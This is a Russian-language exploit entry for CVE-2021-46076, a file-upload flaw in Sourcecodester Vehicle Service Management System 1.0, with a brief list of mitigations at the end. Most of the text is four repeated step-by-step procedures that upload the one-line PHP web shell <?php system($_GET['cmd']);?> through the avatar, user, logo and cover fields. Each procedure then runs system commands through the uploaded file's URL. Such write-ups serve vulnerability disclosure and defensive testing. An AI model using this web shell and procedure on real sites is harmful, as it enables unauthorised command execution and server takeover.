CVE-2021-46076
Название эксплойта: Vehicle Service Management System - 'Multiple' Загрузка файла приводит к выполнению кода
Автор эксплойта: SANU P.L
CVE: CVE-2021-46076
CVSS: 8.8 ВЫСОКИЙ
Ссылки:
Описание:
Sourcecodester Vehicle Service Management System 1.0 уязвим к загрузке файлов. Злоумышленник может загрузить вредоносный php-файл в несколько конечных точек, что приводит к выполнению кода.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Эксплойт:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел 'My Account' http://localhost/vehicle_service/admin/?page=user
Полезная нагрузка:
<?php system($_GET['cmd']);?>
- Сохраните приведенный выше php-код, например: Cmd.php
- В разделе 'My Account' введите все необходимые данные и выберите php-файл в поле 'Avatar'.
- Нажмите кнопку обновления.
- Откройте загруженное изображение в новой вкладке.
- Добавьте параметр cmd в URL и выполните команды.
- Финальный URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Выполните все системные команды, например: id, whoami, pwd и т.д.
2. Vehicle Service Management System - 'Список пользователей' (/admin/?page=user/manage_user)
Эксплойт:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел 'Список пользователей' и нажмите кнопку 'Создать нового'.
Полезная нагрузка:
<?php system($_GET['cmd']);?>
- Сохраните приведенный выше php-код, например: Cmd.php
- На странице 'Создать нового пользователя' введите все необходимые данные и выберите php-файл в поле 'Avatar'.
- Нажмите кнопку 'Сохранить'.
- Откройте загруженное изображение в новой вкладке.
- Добавьте параметр cmd в URL и выполните команды.
- Финальный URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Выполните все системные команды, например: id, whoami, pwd и т.д.
3. Vehicle Service Management System - 'Настройки - Логотип системы' (/admin/?page=system_info)
Эксплойт:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел 'Настройки' http://localhost/vehicle_service/admin/?page=system_info
Полезная нагрузка:
<?php system($_GET['cmd']);?>
- Сохраните приведенный выше php-код, например: Cmd.php
- В разделе 'Настройки' введите все необходимые данные и выберите php-файл в поле 'Логотип системы'.
- Нажмите кнопку обновления.
- Откройте изображение логотипа системы в новой вкладке.
- Добавьте параметр cmd в URL и выполните команды.
- Финальный URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Выполните все системные команды, например: id, whoami, pwd и т.д.
4. Vehicle Service Management System - 'Настройки - Обложка сайта' (/admin/?page=system_info)
Эксплойт:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел 'Настройки' http://localhost/vehicle_service/admin/?page=system_info
Полезная нагрузка:
<?php system($_GET['cmd']);?>
- Сохраните приведенный выше php-код, например: Cmd.php
- В разделе 'Настройки' введите все необходимые данные и выберите php-файл в поле 'Обложка сайта'.
- Нажмите кнопку обновления.
- Откройте изображение обложки сайта в новой вкладке.
- Добавьте параметр cmd в URL и выполните команды.
- Финальный URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Выполните все системные команды, например: id, whoami, pwd и т.д.
Воздействие:
Злоумышленник может загрузить вредоносный php-файл в несколько конечных точек, что приводит к выполнению кода.
Рекомендации по предотвращению:
- Никогда не принимайте имя файла и его расширение напрямую без использования белого списка.
- Если нет необходимости в символах Unicode, настоятельно рекомендуется принимать только буквенно-цифровые символы и только одну точку в качестве входных данных для имени файла и расширения.
- Ограничьте размер файла максимальным значением, чтобы предотвратить атаки типа «отказ в обслуживании».
- Каталог загрузки не должен иметь разрешения на выполнение ('execute').
- Не полагайтесь только на проверку на стороне клиента.